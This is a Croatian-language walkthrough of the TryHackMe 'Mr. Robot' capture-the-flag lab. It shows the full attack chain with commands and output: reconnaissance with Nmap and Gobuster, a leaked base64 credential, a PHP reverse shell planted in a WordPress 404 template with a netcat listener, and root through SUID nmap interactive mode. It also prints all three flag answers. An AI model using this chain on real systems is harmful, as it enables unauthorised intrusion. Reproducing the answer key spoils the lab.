Mr. Robot CTF
Tablica sadržaja

🤖 TryHackMe Mr. Robot CTF 🤖

Možemo li hakirati Mr. Robot CTF? Ova virtualna mašina ima ocjenu srednje težine i naučit će nas mnogim korisnim stvarima.
Upute će pomoći u postizanju istih odgovora.
Korišteni programi:
- OpenVPN
- NMAP
- GoBuster
- Netcat
Upute #
Da bismo počeli hakirati ovu virtualnu mašinu, prvo se moramo spojiti na TryHackMe OpenVPN i pokrenuti stroj u Zadatku 2.
Pretpostavljam da je vaša lokalna virtualna mašina s Kali Linux operativnim sustavom.
Uspostavljanje veze putem OpenVPN-a #
Prvo moramo preuzeti OpenVPN datoteku s TryHackMe-a koju su vam dali. Zatim uključite terminal u direktoriju gdje ste preuzeli OpenVPN datoteku. Veza se ostvaruje pomoću:
sudo openvpn *IME_VAŠE_DATOTEKE*.ovpn
Skeniranje mreže #
Prvo moramo pogledati koji su portovi otvoreni. Što više znamo o sustavu, to bolje. U ovom slučaju koristimo Nmap za skeniranje mreže.
Nmap skeniranje #
kali@kali:~/Desktop$ nmap *IP_ADRESA* -A
Rezultat Nmap skeniranja #
kali@kali:-/Desktop$ nmap 10.10.51.194 -A Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 18:35 CEST Nmap scan report for 10.10.38.44 Host is up (0.095s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-09-16T10:45:03 |_Not valid after: 2025-09-13T10:45:03 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.90 seconds
Kao što vidimo, imamo otvoren port 80 koji nam govori da je ovo web stranica na HTTP protokolu.
Instalacija seclists-a #
sudo apt install seclists
Nakon ove naredbe seclists će biti instaliran u direktorij /usr/share/seclists/.
Skeniranje web poslužitelja i njegovih direktorija #
kali@kali:~/Desktop$ gobuster dir -u http://10.10.51.194/ -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.51.194/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/05/23 18:27:45 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 213] /.htaccess (Status: 403) [Size: 218] /.htpasswd (Status: 403) [Size: 218] /0 (Status: 301) [Size: 0] [--> http://10.10.51.194/0/] /Image (Status: 301) [Size: 0] [--> http://10.10.51.194/Image/] /admin (Status: 301) [Size: 234] [--> http://10.10.51.194/admin/] /atom (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/atom/] /audio (Status: 301) [Size: 234] [--> http://10.10.51.194/audio/] /blog (Status: 301) [Size: 233] [--> http://10.10.51.194/blog/] /css (Status: 301) [Size: 232] [--> http://10.10.51.194/css/] /dashboard (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-admin/] /favicon.ico (Status: 200) [Size: 0] /feed (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /images (Status: 301) [Size: 235] [--> http://10.10.51.194/images/] /image (Status: 301) [Size: 0] [--> http://10.10.51.194/image/] /index.php (Status: 301) [Size: 0] [--> http://10.10.51.194/] /index.html (Status: 200) [Size: 1188] /js (Status: 301) [Size: 231] [--> http://10.10.51.194/js/] /intro (Status: 200) [Size: 516314] /license (Status: 200) [Size: 309] /login (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-login.php] /page1 (Status: 301) [Size: 0] [--> http://10.10.51.194/] /phpmyadmin (Status: 403) [Size: 94] /readme (Status: 200) [Size: 64] /rdf (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/rdf/] /robots (Status: 200) [Size: 41] /robots.txt (Status: 200) [Size: 41] /rss (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /rss2 (Status: 301) [Size: 0] [--> http://10.10.51.194/feed/] /sitemap (Status: 200) [Size: 0] /sitemap.xml (Status: 200) [Size: 0] /video (Status: 301) [Size: 234] [--> http://10.10.51.194/video/] /wp-admin (Status: 301) [Size: 237] [--> http://10.10.51.194/wp-admin/] /wp-content (Status: 301) [Size: 239] [--> http://10.10.51.194/wp-content/] /wp-config (Status: 200) [Size: 0] /wp-includes (Status: 301) [Size: 240] [--> http://10.10.51.194/wp-includes/] /wp-cron (Status: 200) [Size: 0] /wp-links-opml (Status: 200) [Size: 227] /wp-load (Status: 200) [Size: 0] /wp-login (Status: 200) [Size: 2606] /wp-mail (Status: 500) [Size: 3064] /wp-settings (Status: 500) [Size: 0] /wp-signup (Status: 302) [Size: 0] [--> http://10.10.51.194/wp-login.php?action=register] /xmlrpc (Status: 405) [Size:42] =============================================================== 2021/05/23 18:40:33 Finished ===============================================================
Pronalaženje prvog ključa #
Nakon skeniranja, možemo vidjeti više direktorija koje se nalaze na ovom web poslužitelju. Ako pogledamo TryHackMe savjet za prvi ključ, možemo vidjeti da je naš savjet robots.txt. Pretpostavljam da je ovaj savjet i /robots direktorij povezan. Pored njih me zanima /wp-login; Pretpostavljam da je to WordPress.
Ulaskom na stranicu Unesite dobivenu IP adresu u svoj web preglednik:

Ali ako upišemo našu vezu /robots.txt (IP_ADRESA/robots.txt), možemo vidjeti da izbacuje prvi ključ, koji je u .txt formatu.

Pronašli smo dvije datoteke, jednu fsociety.dic i key-1-of-3.txt. Prva datoteka izgleda kao datoteka rječnika.
Preuzimanje prvog ključa #
Prvi ključ možemo vidjeti ulaskom na stranicu (http://IP_ADRESA/key-1-of-3.txt), ali ga možemo i preuzeti pomoću naredbe curl.
curl -s http://IP_ADDRESS/key-1-of-3.txt
Rezultat #
kali@kali:~/Desktop$ curl -s http://10.10.51.194/key-1-of-3.txt 073403c8a58a1f80d943455fb30724b9
Prvi ključ: 073403c8a58a1f80d943455fb30724b9
Pronalaženje drugog ključa #
SAVJET: Bijeli tekst.
Ako se vratimo na gobuster možemo vidjeti da smo imali WordPress direktorij. Konkretno me zanima:
/login (Status: 302) /wp-content (Status: 301) /admin (Status: 301) /wp-login (Status: 200) /license (Status: 200) /wp-includes (Status: 301)
Kao što vidimo, direktorij /license ima status 200. Status 200 nam govori da je stranica aktivna. Curl je naš najbolji prijatelj u ovom slučaju.
Curl komanda #
curl -s http://IP_ADDRESS/license | tr -d "\n"
Rezultat #
kali@kali:~/Desktop$ curl -s http://10.10.51.194/license | tr -d "\n" what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?do you want a password or something? ZWxsaW90OkVSMjgtMDY1Mgo=
Određeni tekst je ZWxsaW90OkVSMjgtMDY1Mgo= izgleda kao base64.
Dešifriranje Base64 #
Naredba koju ćemo koristiti je:
echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
Rezultat dešifriranja Base64 #
kali@kali:~/Desktop$ echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d elliot:ER28-0652
Korisničko ime i lozinku dobili smo, pretpostavljam, od WordPressa.
WordPress enumeracija #
Vrijeme je da se pokušamo prijaviti na WordPress:
Prvi korak je otići na:
http://IP_ADRESA/wp-login
Nakon prijave na stranicu odmah u donjem lijevom kutu vidimo da je verzija WordPressa 4.3.1. Ovo je stara verzija WordPressa.

Nalazimo dva korisnika, od kojih smo Elliot (mi) administrator.

Vidimo da je ova stara verzija WordPressa ranjiva na PHP Reverse Shell. [POVEZNICA SKRIPTE]( https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master /php-reverse-shell.php)
Budući da smo administratori, moramo ići na Izgled.

Moramo zamijeniti kod sa skriptom na 404 PHP predlošku.

ifconfig.PHP reverse shell preko netcat-a #
Nakon što smo zamijenili i promijenili IP adresu u skripti, pokrenut ćemo Netcat na portu koji s nama uspostavlja vezu preko skripte. To radimo sljedećom naredbom:
nc -nlvp 1234
Nakon toga, moramo otići na http://IP_ADRESA/404.php ovaj link u web pregledniku.

Kao što vidimo, otvorili smo školjku u terminalu. Netcat je uspostavio vezu.
Sada ćemo provjeriti koje se datoteke nalaze u direktoriju /home/robot. To radimo naredbom:
ls -l /home/robot
Sada znamo lokaciju drugog ključa:
$ ls -l /home/robot total 8 -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Problem je u tome što mi uopće nismo robot korisnik na ovom sistemu. To provjeravamo naredbom whoami.
$ whoami daemon
Jedina datoteka koju možemo vidjeti je password.raw-md5. Pogledajmo što je u ovoj datoteci.
$ cat /home/robot/password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
Dešifriranje MD5 hash-a #
To je MD5 Hash. Hash je matematička funkcija koja se ne može vratiti nakon što obavi svoj posao. Ovo je dobro za pohranjivanje lozinki, ali MD5 je star algoritam i lako ga je probiti.
Prvo ćemo pogledati može li se ovaj hash provaliti online kako bismo uštedjeli vrijeme. LINK
Kao što vidimo na gornjoj poveznici, može. Zaporka je abcdefghijklmnopqrstuvwxyz
Sada se moramo prijaviti kao robot korisnik. To radimo sljedećom naredbom:
su - robot
Ali postoji problem:
$ su - robot su: must be run from a terminal
Python shell #
Ovo se može popraviti pomoću Pythona. Prvo moramo provjeriti je li Python uopće instaliran.
$ which python /usr/bin/python
Napravimo shell s Pythonom. To možemo učiniti ovom naredbom:
python -c 'import pty; pty.spawn("/bin/sh")'
Kao što vidite, terminal nije pokazao nikakve pogreške, što znači da smo uspješno kreirali shell u Pythonu.
Prijavimo se kao korisnik robot.
$ su - robot su - robot Password: abcdefghijklmnopqrstuvwxyz $ whoami whoami robot $
Kao što vidimo, prijavljeni smo kao robot korisnik.
Drugi ključ #
Da bismo vidjeli drugi ključ, moramo upotrijebiti naredbu cat:
cat key-2-of-3.txt
Rezultat:
$ cat key-2-of-3.txt cat key-2-of-3.txt 822c73956184f694993bede3eb39f959
Drugi ključ: 822c73956184f694993bede3eb39f959
Pronalaženje trećeg ključa #
SAVJET: NMAP
Ako se vratimo na Nmap rezultat koji smo dobili na početku; možemo vidjeti da je SSH port zatvoren. Konačni ključ uglavnom se nalazi u direktoriju /root. Da bismo dobili root, moramo izvršiti eskalaciju privilegija. Prvo što me zanima je da li je korisnik robot u takozvanoj sudo grupi.
Eskalacija privilegija #
Je li korisnik robot u sudo grupi?
$ sudo -l sudo -l [sudo] password for robot: abcdefghijklmnopqrstuvwxyz Sorry, user robot may not run sudo on linux.
Korisnik robot nije na popisu sa sudo privilegijama. Sada možemo vidjeti koji su programi pod root korisnikom.
Provjera SETUID-a koji su pod root kontrolom: #
Naredba:
find / -user root -perm -4000 -print 2>/dev/null
Rezultat:
$ find / -user root -perm -4000 -print 2>/dev/null / -user root -perm -4000 -print 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/nmap /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown
Odmah sam primijetio /usr/local/bin/nmap. Da vidimo koja je to verzija Nmapa.
Provjera verzije Nmapa: #
Naredba:
nmap --version
Rezultat:
$ nmap --version nmap --version nmap version 3.81 ( http://www.insecure.org/nmap/ )
Kao što vidimo, Nmap verzija je 3.81.
Enumeracija: #
Nakon malo istraživanja, saznao sam:
LINK kao što možemo pročitati na gornjoj poveznici, ovo je starija verzija Nmapa. Verzije od 2.02 do 5.21 imale su tzv. Interaktivni način nam je omogućio izvršavanje naredbi. Osim toga, provjera SETUID omogućit će nam pokretanje naredbi kao root.
$ ls -l /usr/local/bin/nmap ls -l /usr/local/bin/nmap -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Pokretanje Nmapa u interaktivnom modu: #
Naredba:
nmap --interactive
Rezultat:
$ nmap --interactive nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !whoami !whoami root waiting to reap child : No child processes
Vidimo da je Nmap u interaktivnom root modu.
Pronalaženje konačnog ključa: #
Prvo ćemo provjeriti je li treća zastavica u korijenu.
Naredba:
!ls /root
Rezultat:
nmap> !ls /root !ls /root firstboot_done key-3-of-3.txt waiting to reap child : No child processes
Pronašli smo treći ključ koji se nalazi u tekstualnoj datoteci. Sadržaj možemo pročitati sljedećom naredbom:
!cat /root/key-3-of-3.txt
nmap> !cat /root/key-3-of-3.txt !cat /root/key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 waiting to reap child : No child processes
Treći ključ: 04787ddef27c3dee1ee161b21670b4e4
Zaključak #
Zanimljiv CTF s puno referenci na seriju. Puno sam naučio, a najvažnije je redovito ažuriranje operativnih sustava i aplikacija, kao što vidimo u primjeru sa starijom verzijom Nmapa i WordPressa. Također, ne dopustite nikome da hakira vaše račune, redovito mijenjajte kodove i koristite nasumične kodove s minimalnom duljinom od 32 znamenke za svaki račun. Svatko bi trebao slijediti jednu lozinku, jedan račun i jednu adresu e-pošte.
Ključevi #
Popis pitanja i odgovora:
Pitanja Odgovori Što je ključ 1 ? 073403c8a58a1f80d943455fb30724b9 Što je ključ 2 ? 822c73956184f694993bede3eb39f959 Što je ključ 3 ? 04787ddef27c3dee1ee161b21670b4e4